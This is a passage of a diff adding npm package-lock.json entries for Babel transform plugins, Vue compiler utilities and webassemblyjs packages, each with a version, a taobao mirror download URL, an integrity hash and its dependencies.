"@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-top-level-await/download/@babel/plugin-syntax-top-level-await-7.12.13.tgz?cache=0&sync_timestamp=1612314769908&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-top-level-await%2Fdownload%2F%40babel%2Fplugin-syntax-top-level-await-7.12.13.tgz", + "integrity": "sha1-xfD6biSfW3OXJ/kjVAz3qAYTAXg=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-arrow-functions": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-arrow-functions/download/@babel/plugin-transform-arrow-functions-7.13.0.tgz?cache=0&sync_timestamp=1614034822229&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-arrow-functions%2Fdownload%2F%40babel%2Fplugin-transform-arrow-functions-7.13.0.tgz", + "integrity": "sha1-EKWb661S1jegJ6+mkujVzv9ePa4=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-async-to-generator": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-async-to-generator/download/@babel/plugin-transform-async-to-generator-7.13.0.tgz", + "integrity": "sha1-jhEr9ncbgr8el05eJoBsXJmqUW8=", + "dev": true, + "requires": { + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0" + } + }, + "@babel/plugin-transform-block-scoped-functions": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-block-scoped-functions/download/@babel/plugin-transform-block-scoped-functions-7.12.13.tgz?cache=0&sync_timestamp=1612314818063&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-block-scoped-functions%2Fdownload%2F%40babel%2Fplugin-transform-block-scoped-functions-7.12.13.tgz", + "integrity": "sha1-qb8YNvKjm062zwmWdzneKepL9MQ=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-block-scoping": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-block-scoping/download/@babel/plugin-transform-block-scoping-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-block-scoping%2Fdownload%2F%40babel%2Fplugin-transform-block-scoping-7.12.13.tgz", + "integrity": "sha1-825VB20G9B39eFV+oDnBtYFkLmE=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-classes": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-classes/download/@babel/plugin-transform-classes-7.13.0.tgz?cache=0&sync_timestamp=1614034828291&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-classes%2Fdownload%2F%40babel%2Fplugin-transform-classes-7.13.0.tgz", + "integrity": "sha1-AmUVUHXEKRi/TTpAUxNBdq2bUzs=", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13", + "globals": "^11.1.0" + } + }, + "@babel/plugin-transform-computed-properties": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-computed-properties/download/@babel/plugin-transform-computed-properties-7.13.0.tgz?cache=0&sync_timestamp=1614034823289&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-computed-properties%2Fdownload%2F%40babel%2Fplugin-transform-computed-properties-7.13.0.tgz", + "integrity": "sha1-hFxui5u1U3ax+guS7wvcjqBmRO0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-destructuring": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-destructuring/download/@babel/plugin-transform-destructuring-7.13.0.tgz?cache=0&sync_timestamp=1614034822562&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-destructuring%2Fdownload%2F%40babel%2Fplugin-transform-destructuring-7.13.0.tgz", + "integrity": "sha1-xdzicAFNTh67HYBhFmlMErcCiWM=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-dotall-regex": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-dotall-regex/download/@babel/plugin-transform-dotall-regex-7.12.13.tgz?cache=0&sync_timestamp=1612314730663&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-dotall-regex%2Fdownload%2F%40babel%2Fplugin-transform-dotall-regex-7.12.13.tgz", + "integrity": "sha1-PxYBzCmQW/y2f1ORDxl66v67Ja0=", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-duplicate-keys": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-duplicate-keys/download/@babel/plugin-transform-duplicate-keys-7.12.13.tgz?cache=0&sync_timestamp=1612314817333&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-duplicate-keys%2Fdownload%2F%40babel%2Fplugin-transform-duplicate-keys-7.12.13.tgz", + "integrity": "sha1-bwa4eouAP9ko5UuBwljwoAM5BN4=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-exponentiation-operator": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-exponentiation-operator/download/@babel/plugin-transform-exponentiation-operator-7.12.13.tgz?cache=0&sync_timestamp=1612314730682&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-exponentiation-operator%2Fdownload%2F%40babel%2Fplugin-transform-exponentiation-operator-7.12.13.tgz", + "integrity": "sha1-TVI5C5onPmUeSrpq7knvQOgM0KE=", + "dev": true, + "requires": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-for-of": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-for-of/download/@babel/plugin-transform-for-of-7.13.0.tgz?cache=0&sync_timestamp=1614034822929&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-for-of%2Fdownload%2F%40babel%2Fplugin-transform-for-of-7.13.0.tgz", + "integrity": "sha1-x5n4gagJGsJrVIZ6hFw+l9JpYGI=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-function-name/download/@babel/plugin-transform-function-name-7.12.13.tgz?cache=0&sync_timestamp=1612314730751&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-function-name%2Fdownload%2F%40babel%2Fplugin-transform-function-name-7.12.13.tgz", + "integrity": "sha1-uwJEUvmq7YYdN0yOeiQlLOOlAFE=", + "dev": true, + "requires": { + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-literals/download/@babel/plugin-transform-literals-7.12.13.tgz?cache=0&sync_timestamp=1612314767825&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-literals%2Fdownload%2F%40babel%2Fplugin-transform-literals-7.12.13.tgz", + "integrity": "sha1-LKRbr+SoIBl88xV5Sk0mVg/kvbk=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-member-expression-literals/download/@babel/plugin-transform-member-expression-literals-7.12.13.tgz", + "integrity": "sha1-X/pmzVm54ZExTJ8fgDuTjowIHkA=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-modules-amd/download/@babel/plugin-transform-modules-amd-7.13.0.tgz", + "integrity": "sha1-GfUR1g49h1PMWm1Od106UYSGbMM=", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "babel-plugin-dynamic-import-node": "^2.3.3" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-modules-commonjs/download/@babel/plugin-transform-modules-commonjs-7.13.8.tgz", + "integrity": "sha1-ewGtfC3PInWwb6F4HgDRPUILPhs=", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-simple-access": "^7.12.13", + "babel-plugin-dynamic-import-node": "^2.3.3" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-modules-systemjs/download/@babel/plugin-transform-modules-systemjs-7.13.8.tgz", + "integrity": "sha1-bQZu4r/zx7PWC/KN7Baa2ZODGuM=", + "dev": true, + "requires": { + "@babel/helper-hoist-variables": "^7.13.0", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-identifier": "^7.12.11", + "babel-plugin-dynamic-import-node": "^2.3.3" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-modules-umd/download/@babel/plugin-transform-modules-umd-7.13.0.tgz", + "integrity": "sha1-ij2WqX0ZlwW5/QIVgAgq+BwG5ws=", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-named-capturing-groups-regex/download/@babel/plugin-transform-named-capturing-groups-regex-7.12.13.tgz?cache=0&sync_timestamp=1612314730683&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-named-capturing-groups-regex%2Fdownload%2F%40babel%2Fplugin-transform-named-capturing-groups-regex-7.12.13.tgz", + "integrity": "sha1-IhNyWl9bu+NktQw7pZmMlZnFydk=", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.12.13" + } + }, + "@babel/plugin-transform-new-target": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-new-target/download/@babel/plugin-transform-new-target-7.12.13.tgz?cache=0&sync_timestamp=1612314827274&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-new-target%2Fdownload%2F%40babel%2Fplugin-transform-new-target-7.12.13.tgz", + "integrity": "sha1-4i2MOvJLFQ3VKMvW5oXnmb8cNRw=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-object-super": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-object-super/download/@babel/plugin-transform-object-super-7.12.13.tgz", + "integrity": "sha1-tEFqLWO4974xTz00m9VanBtRcfc=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/helper-replace-supers": "^7.12.13" + } + }, + "@babel/plugin-transform-parameters": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-parameters/download/@babel/plugin-transform-parameters-7.13.0.tgz?cache=0&sync_timestamp=1614034824747&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-parameters%2Fdownload%2F%40babel%2Fplugin-transform-parameters-7.13.0.tgz", + "integrity": "sha1-j6dgPjCX+cC3yhpIIbwvtS6eUAc=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-property-literals": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-property-literals/download/@babel/plugin-transform-property-literals-7.12.13.tgz?cache=0&sync_timestamp=1612314768626&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-property-literals%2Fdownload%2F%40babel%2Fplugin-transform-property-literals-7.12.13.tgz", + "integrity": "sha1-TmqeN4ZNjxs7wOLc57+IV9uLGoE=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-regenerator": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-regenerator/download/@babel/plugin-transform-regenerator-7.12.13.tgz?cache=0&sync_timestamp=1612314644517&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-regenerator%2Fdownload%2F%40babel%2Fplugin-transform-regenerator-7.12.13.tgz", + "integrity": "sha1-tii8ychSYKwa6wW0W94lIQGUovU=", + "dev": true, + "requires": { + "regenerator-transform": "^0.14.2" + } + }, + "@babel/plugin-transform-reserved-words": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-reserved-words/download/@babel/plugin-transform-reserved-words-7.12.13.tgz", + "integrity": "sha1-fZmI1PBuD+aX6h2YAxiKoYtHJpU=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-shorthand-properties": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-shorthand-properties/download/@babel/plugin-transform-shorthand-properties-7.12.13.tgz", + "integrity": "sha1-23VXMrcMU51QTGOQ2c6Q/mSv960=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-spread": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-spread/download/@babel/plugin-transform-spread-7.13.0.tgz?cache=0&sync_timestamp=1614034823666&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-spread%2Fdownload%2F%40babel%2Fplugin-transform-spread-7.13.0.tgz", + "integrity": "sha1-hIh3EOJzwYFaznrkWfb0Kl0x1f0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1" + } + }, + "@babel/plugin-transform-sticky-regex": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-sticky-regex/download/@babel/plugin-transform-sticky-regex-7.12.13.tgz?cache=0&sync_timestamp=1612314787760&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-sticky-regex%2Fdownload%2F%40babel%2Fplugin-transform-sticky-regex-7.12.13.tgz", + "integrity": "sha1-dg/9k2+s5z+GCuZG+4bugvPQbR8=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-template-literals": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-template-literals/download/@babel/plugin-transform-template-literals-7.13.0.tgz?cache=0&sync_timestamp=1614034825086&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-template-literals%2Fdownload%2F%40babel%2Fplugin-transform-template-literals-7.13.0.tgz", + "integrity": "sha1-o2BJEnl3rZRDje50Q1mNHO/fQJ0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-transform-typeof-symbol": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-typeof-symbol/download/@babel/plugin-transform-typeof-symbol-7.12.13.tgz?cache=0&sync_timestamp=1612314785592&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-typeof-symbol%2Fdownload%2F%40babel%2Fplugin-transform-typeof-symbol-7.12.13.tgz", + "integrity": "sha1-eF3Weh8upXnZwr5yLejITLhfWn8=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-escapes/download/@babel/plugin-transform-unicode-escapes-7.12.13.tgz", + "integrity": "sha1-hAztO4FtO1En3R0S3O3F3q0aXnQ=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-unicode-regex": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-regex/download/@babel/plugin-transform-unicode-regex-7.12.13.tgz?cache=0&sync_timestamp=1612314730902&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-unicode-regex%2Fdownload%2F%40babel%2Fplugin-transform-unicode-regex-7.12.13.tgz", + "integrity": "sha1-tSUhaFgE4VWxIC6D/BiNNLtw9aw=", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/preset-env": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/preset-env/download/@babel/preset-env-7.13.10.tgz", + "integrity": "sha1-tc3jHV/nerKmqz1FO1kEGhs6UlI=", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.8", + "@babel/helper-compilation-targets": "^7.13.10", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-option": "^7.12.17", + "@babel/plugin-proposal-async-generator-functions": "^7.13.8", + "@babel/plugin-proposal-class-properties": "^7.13.0", + "@babel/plugin-proposal-dynamic-import": "^7.13.8", + "@babel/plugin-proposal-export-namespace-from": "^7.12.13", + "@babel/plugin-proposal-json-strings": "^7.13.8", + "@babel/plugin-proposal-logical-assignment-operators": "^7.13.8", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", + "@babel/plugin-proposal-numeric-separator": "^7.12.13", + "@babel/plugin-proposal-object-rest-spread": "^7.13.8", + "@babel/plugin-proposal-optional-catch-binding": "^7.13.8", + "@babel/plugin-proposal-optional-chaining": "^7.13.8", + "@babel/plugin-proposal-private-methods": "^7.13.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.12.13", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.12.13", + "@babel/plugin-transform-arrow-functions": "^7.13.0", + "@babel/plugin-transform-async-to-generator": "^7.13.0", + "@babel/plugin-transform-block-scoped-functions": "^7.12.13", + "@babel/plugin-transform-block-scoping": "^7.12.13", + "@babel/plugin-transform-classes": "^7.13.0", + "@babel/plugin-transform-computed-properties": "^7.13.0", + "@babel/plugin-transform-destructuring": "^7.13.0", + "@babel/plugin-transform-dotall-regex": "^7.12.13", + "@babel/plugin-transform-duplicate-keys": "^7.12.13", + "@babel/plugin-transform-exponentiation-operator": "^7.12.13", + "@babel/plugin-transform-for-of": "^7.13.0", + "@babel/plugin-transform-function-name": "^7.12.13", + "@babel/plugin-transform-literals": "^7.12.13", + "@babel/plugin-transform-member-expression-literals": "^7.12.13", + "@babel/plugin-transform-modules-amd": "^7.13.0", + "@babel/plugin-transform-modules-commonjs": "^7.13.8", + "@babel/plugin-transform-modules-systemjs": "^7.13.8", + "@babel/plugin-transform-modules-umd": "^7.13.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13", + "@babel/plugin-transform-new-target": "^7.12.13", + "@babel/plugin-transform-object-super": "^7.12.13", + "@babel/plugin-transform-parameters": "^7.13.0", + "@babel/plugin-transform-property-literals": "^7.12.13", + "@babel/plugin-transform-regenerator": "^7.12.13", + "@babel/plugin-transform-reserved-words": "^7.12.13", + "@babel/plugin-transform-shorthand-properties": "^7.12.13", + "@babel/plugin-transform-spread": "^7.13.0", + "@babel/plugin-transform-sticky-regex": "^7.12.13", + "@babel/plugin-transform-template-literals": "^7.13.0", + "@babel/plugin-transform-typeof-symbol": "^7.12.13", + "@babel/plugin-transform-unicode-escapes": "^7.12.13", + "@babel/plugin-transform-unicode-regex": "^7.12.13", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.13.0", + "babel-plugin-polyfill-corejs2": "^0.1.4", + "babel-plugin-polyfill-corejs3": "^0.1.3", + "babel-plugin-polyfill-regenerator": "^0.1.2", + "core-js-compat": "^3.9.0", + "semver": "^6.3.0" + } + }, + "@babel/preset-modules": { + "version": "0.1.4", + "resolved": "https://registry.npm.taobao.org/@babel/preset-modules/download/@babel/preset-modules-0.1.4.tgz", + "integrity": "sha1-Ni8raMZihClw/bXiVP/I/BwuQV4=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + } + }, + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/runtime/download/@babel/runtime-7.13.10.tgz", + "integrity": "sha1-R9QqV7YJX0Ro2kQDiP262L6/DX0=", + "dev": true, + "requires": { + "regenerator-runtime": "^0.13.4" + }, + "dependencies": { + "regenerator-runtime": { + "version": "0.13.7", + "resolved": "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.13.7.tgz?cache=0&sync_timestamp=1595456105304&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerator-runtime%2Fdownload%2Fregenerator-runtime-0.13.7.tgz", + "integrity": "sha1-ysLazIoepnX+qrrriugziYrkb1U=", + "dev": true + } + } + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/template/download/@babel/template-7.12.13.tgz?cache=0&sync_timestamp=1612314730561&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Ftemplate%2Fdownload%2F%40babel%2Ftemplate-7.12.13.tgz", + "integrity": "sha1-UwJlvooliduzdSOETFvLVZR/syc=", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/traverse/download/@babel/traverse-7.13.0.tgz?cache=0&sync_timestamp=1614034824831&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Ftraverse%2Fdownload%2F%40babel%2Ftraverse-7.13.0.tgz", + "integrity": "sha1-bZV1JHX4bufe0GU23jCaZfyJZsw=", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.0", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.0", + "@babel/types": "^7.13.0", + "debug": "^4.1.0", + "globals": "^11.1.0", + "lodash": "^4.17.19" + } + }, + "@babel/types": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/types/download/@babel/types-7.13.0.tgz?cache=0&sync_timestamp=1614034819122&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Ftypes%2Fdownload%2F%40babel%2Ftypes-7.13.0.tgz", + "integrity": "sha1-dEJNKBbwFxtBAPCrNOmjdO/ff4A=", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "@discoveryjs/json-ext": { + "version": "0.5.2", + "resolved": "https://registry.npm.taobao.org/@discoveryjs/json-ext/download/@discoveryjs/json-ext-0.5.2.tgz", + "integrity": "sha1-jwOiKgTeQ3JU6M6MyEujlokoh1I=", + "dev": true + }, + "@types/json-schema": { + "version": "7.0.7", + "resolved": "https://registry.npm.taobao.org/@types/json-schema/download/@types/json-schema-7.0.7.tgz?cache=0&sync_timestamp=1613378919536&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40types%2Fjson-schema%2Fdownload%2F%40types%2Fjson-schema-7.0.7.tgz", + "integrity": "sha1-mKmTUWyFnrDVxMjwmDF6nqaNua0=", + "dev": true + }, + "@vue/component-compiler-utils": { + "version": "3.2.0", + "resolved": "https://registry.npm.taobao.org/@vue/component-compiler-utils/download/@vue/component-compiler-utils-3.2.0.tgz", + "integrity": "sha1-j4UYLO7Sjps8dTE95mn4MWbRHl0=", + "dev": true, + "requires": { + "consolidate": "^0.15.1", + "hash-sum": "^1.0.2", + "lru-cache": "^4.1.2", + "merge-source-map": "^1.1.0", + "postcss": "^7.0.14", + "postcss-selector-parser": "^6.0.2", + "prettier": "^1.18.2", + "source-map": "~0.6.1", + "vue-template-es2015-compiler": "^1.9.0" + }, + "dependencies": { + "lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npm.taobao.org/lru-cache/download/lru-cache-4.1.5.tgz?cache=0&sync_timestamp=1594427573763&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flru-cache%2Fdownload%2Flru-cache-4.1.5.tgz", + "integrity": "sha1-i75Q6oW+1ZvJ4z3KuCNe6bz0Q80=", + "dev": true, + "requires": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "postcss": { + "version": "7.0.35", + "resolved": "https://registry.npm.taobao.org/postcss/download/postcss-7.0.35.tgz?cache=0&sync_timestamp=1615327834455&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss%2Fdownload%2Fpostcss-7.0.35.tgz", + "integrity": "sha1-0r4AuZj38hHYonaXQHny6SuXDiQ=", + "dev": true, + "requires": { + "chalk": "^2.4.2", + "source-map": "^0.6.1", + "supports-color": "^6.1.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + }, + "supports-color": { + "version": "6.1.0", + "resolved": "https://registry.npm.taobao.org/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1611394043517&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz", + "integrity": "sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "yallist": { + "version": "2.1.2", + "resolved": "https://registry.npm.taobao.org/yallist/download/yallist-2.1.2.tgz", + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true + } + } + }, + "@webassemblyjs/ast": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/ast/download/@webassemblyjs/ast-1.9.0.tgz?cache=0&sync_timestamp=1610041305745&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fast%2Fdownload%2F%40webassemblyjs%2Fast-1.9.0.tgz", + "integrity": "sha1-vYUGBLQEJFmlpBzX0zjL7Wle2WQ=", + "dev": true, + "requires": { + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/floating-point-hex-parser/download/@webassemblyjs/floating-point-hex-parser-1.9.0.tgz?cache=0&sync_timestamp=1610041307537&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Ffloating-point-hex-parser%2Fdownload%2F%40webassemblyjs%2Ffloating-point-hex-parser-1.9.0.tgz", + "integrity": "sha1-PD07Jxvd/ITesA9xNEQ4MR1S/7Q=", + "dev": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-api-error/download/@webassemblyjs/helper-api-error-1.9.0.tgz?cache=0&sync_timestamp=1610041309019&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-api-error%2Fdownload%2F%40webassemblyjs%2Fhelper-api-error-1.9.0.tgz", + "integrity": "sha1-ID9nbjM7lsnaLuqzzO8zxFkotqI=", + "dev": true + }, + 